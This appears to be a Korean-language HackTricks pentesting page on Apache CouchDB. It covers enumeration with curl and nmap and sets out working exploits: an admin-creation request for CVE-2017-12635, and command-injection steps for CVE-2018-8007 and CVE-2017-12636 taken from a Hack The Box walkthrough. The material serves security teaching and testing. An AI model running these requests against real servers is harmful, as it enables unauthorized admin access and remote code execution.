hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

248 lines
19 KiB
Markdown

# 5984,6984 - Pentesting CouchDB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **기본 정보**
**CouchDB**는 **문서 지향 데이터베이스**로, 각 **문서** 내에서 **키-값 맵** 구조를 사용하여 데이터를 조직하는 다재다능하고 강력한 데이터베이스입니다. 문서 내의 필드는 **키/값 쌍, 리스트 또는 맵**으로 표현될 수 있어 데이터 저장 및 검색의 유연성을 제공합니다.
CouchDB에 저장된 모든 **문서**는 문서 수준에서 **고유 식별자**(`_id`)가 할당됩니다. 또한, 데이터베이스에 저장된 모든 수정 사항은 **수정 번호**(`_rev`)가 할당됩니다. 이 수정 번호는 **변경 사항의 효율적인 추적 및 관리**를 가능하게 하여 데이터베이스 내에서 데이터의 용이한 검색 및 동기화를 촉진합니다.
**기본 포트:** 5984(http), 6984(https)
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
## **자동 열거**
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
## 수동 열거
### 배너
```
curl http://IP:5984/
```
이것은 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷해야 합니다:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
{% hint style="info" %}
couchdb의 루트에 접근할 때 `401 Unauthorized`와 같은 응답을 받으면: `{"error":"unauthorized","reason":"Authentication required."}` **배너나 다른 엔드포인트에 접근할 수 없습니다.**
{% endhint %}
### 정보 열거
다음은 **GET** 요청으로 접근하여 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. [**couchdb 문서에서 더 많은 엔드포인트와 자세한 설명을 찾을 수 있습니다**](https://docs.couchdb.org/en/latest/api/index.html).
* **`/_active_tasks`** 실행 중인 작업의 목록으로, 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다.
* **`/_all_dbs`** CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다.
* **`/_cluster_setup`** 클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다.
* **`/_db_updates`** CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면 `_global_changes` 데이터베이스가 존재해야 합니다.
* **`/_membership`** 클러스터의 일부인 노드를 `cluster_nodes`로 표시합니다. `all_nodes` 필드는 이 노드가 알고 있는 모든 노드를 표시하며, 클러스터의 일부인 노드도 포함됩니다.
* **`/_scheduler/jobs`** 복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트의 이력 및 기타 몇 가지 정보가 포함됩니다.
* **`/_scheduler/docs`** 복제 문서 상태 목록입니다. `completed``failed` 상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에 대해 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상, 기타 정보를 반환합니다.
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
* **`/_node/{node-name}`** `/_node/{node-name}` 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근하기 위해 `/_node/_local`에 접근할 때 가장 유용합니다.
* **`/_node/{node-name}/_stats`** `_stats` 리소스는 실행 중인 서버의 통계를 포함하는 JSON 객체를 반환합니다. 리터럴 문자열 `_local`은 로컬 노드 이름의 별칭으로 사용되므로, 모든 통계 URL에서 `{node-name}``_local`로 대체하여 로컬 노드의 통계와 상호작용할 수 있습니다.
* **`/_node/{node-name}/_system`** \_system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해 `{node-name}`으로 `_local`을 사용할 수 있습니다.
* **`/_node/{node-name}/_restart`**
* **`/_up`** 서버가 작동 중이며 요청에 응답할 준비가 되었음을 확인합니다. [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode)가 `true` 또는 `nolb`인 경우, 엔드포인트는 404 응답을 반환합니다.
* **`/_uuids`** CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다.
* **`/_reshard`** 완료된 작업, 실패한 작업, 실행 중인 작업, 중지된 작업 및 총 작업 수와 클러스터의 재분할 상태를 반환합니다.
더 흥미로운 정보는 여기에서 추출할 수 있습니다: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
### **데이터베이스 목록**
```
curl -X GET http://IP:5984/_all_dbs
```
만약 그 요청이 **401 권한 없음**으로 응답한다면, 데이터베이스에 접근하기 위해 **유효한 자격 증명**이 필요합니다:
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
유효한 자격 증명을 찾기 위해 **서비스를** [**브루트포스 시도**](../generic-methodologies-and-resources/brute-force.md#couchdb)할 수 있습니다.
다음은 **충분한 권한**이 있어 데이터베이스를 나열할 수 있을 때의 couchdb **응답** **예시**입니다(단순히 데이터베이스 목록입니다):
```bash
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
### Database Info
데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 얻을 수 있습니다(파일 수 및 크기 등):
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
### **문서 목록**
데이터베이스 내의 각 항목 나열
```bash
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
### **문서 읽기**
데이터베이스 내 문서의 내용을 읽습니다:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
## CouchDB Privilege Escalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
Erlang과 JavaScript JSON 파서의 차이 덕분에 다음 요청으로 `hacktricks:hacktricks` 자격 증명을 가진 **관리자 사용자**를 **생성할 수 있습니다**:
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
[**이 취약점에 대한 더 많은 정보는 여기에서 확인하세요**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
## CouchDB RCE
### **Erlang 쿠키 보안 개요**
예시 [여기에서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
CouchDB 문서에서는 클러스터 설정과 관련된 섹션에서 ([링크](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), 클러스터 모드에서 CouchDB가 사용하는 포트에 대해 논의합니다. 독립 실행 모드와 마찬가지로 포트 `5984`가 사용된다고 언급되어 있습니다. 또한, 포트 `5986`은 노드 로컬 API에 사용되며, 중요하게도 Erlang은 Erlang 포트 매퍼 데몬(EPMD)을 위해 TCP 포트 `4369`가 필요하여 Erlang 클러스터 내에서 노드 간 통신을 용이하게 합니다. 이 설정은 각 노드가 다른 모든 노드와 연결된 네트워크를 형성합니다.
포트 `4369`에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크에서 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.
```
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
원격 코드 실행(RCE) 맥락에서 이 "쿠키"가 어떻게 악용될 수 있는지 이해하고자 하는 분들을 위해, 추가 읽기를 위한 전용 섹션이 마련되어 있습니다. 이는 시스템에 대한 제어를 달성하기 위해 비인가 방식으로 Erlang 쿠키를 활용하는 방법론을 자세히 설명합니다. **[여기에서 RCE를 위한 Erlang 쿠키 악용에 대한 자세한 가이드를 탐색할 수 있습니다](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
### **local.ini 수정으로 CVE-2018-8007 악용하기**
예제 [여기서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 `local.ini` 파일에 대한 쓰기 권한이 필요함을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 `local.ini` 파일에 대한 쓰기 접근을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.
먼저, `local.ini` 파일이 쓰기 가능하도록 환경을 준비하며, 권한을 나열하여 확인합니다:
```bash
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
취약점을 악용하기 위해 `local.ini``cors/origins` 구성에 대해 curl 명령이 실행됩니다. 이는 `[os_daemons]` 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:
```bash
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
후속 검증을 통해 `local.ini`에 주입된 구성을 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:
```bash
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
Initially, the expected file (`/tmp/0xdf`) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command:
초기에는 예상되는 파일(`/tmp/0xdf`)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행되고 있으며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:
```bash
root@canape:/home/homer/bin# ps aux | grep couch
```
식별된 CouchDB 프로세스를 종료하고 시스템이 자동으로 재시작하도록 허용함으로써, 주입된 명령의 실행이 촉발되며, 이는 이전에 없던 파일의 존재로 확인됩니다:
```bash
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
이 탐색은 `local.ini` 파일에 대한 쓰기 가능한 접근 권한이 필요하다는 점을 특히 강조하며, 특정 조건에서 CVE-2018-8007의 악용 가능성을 확인합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 악용을 복제하기 위한 명확한 가이드를 제공합니다.
CVE-2018-8007에 대한 자세한 내용은 mdsec의 권고를 참조하십시오: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
### **local.ini에 대한 쓰기 권한으로 CVE-2017-12636 탐색하기**
예제 [여기에서](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
CouchDB 프로세스를 통해 코드 실행을 가능하게 하는 CVE-2017-12636으로 알려진 취약점이 탐색되었습니다. 그러나 특정 구성으로 인해 악용이 방지될 수 있습니다. 온라인에서 수많은 개념 증명(POC) 참조가 있지만, CouchDB 버전 2에서 취약점을 악용하기 위해서는 조정이 필요하며, 일반적으로 타겟팅되는 버전 1.x와 다릅니다. 초기 단계는 CouchDB 버전을 확인하고 예상 쿼리 서버 경로가 없음을 확인하는 것입니다:
```bash
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
```
CouchDB 버전 2.0을 수용하기 위해 새로운 경로가 사용됩니다:
```bash
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
```
새 쿼리 서버를 추가하고 호출하려는 시도는 다음 출력에서 나타난 것처럼 권한 관련 오류로 이어졌습니다:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
추가 조사를 통해 `local.ini` 파일에 대한 권한 문제가 발견되었으며, 해당 파일은 쓰기 불가능했습니다. root 또는 homer 접근 권한으로 파일 권한을 수정함으로써 진행할 수 있게 되었습니다:
```bash
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
```
후속 쿼리 서버 추가 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. `local.ini` 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
```
데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도가 이어졌습니다:
```bash
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
```
A **[요약](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)**은 특정 조건에서 CVE-2017-12636을 악용하는 데 대한 추가 통찰력을 제공합니다. 이 취약점을 악용하기 위한 **유용한 리소스**는 다음과 같습니다:
- [POC 익스플로잇 코드](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [익스플로잇 데이터베이스 항목](https://www.exploit-db.com/exploits/44913/)
## Shodan
* `port:5984 couchdb`
## References
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}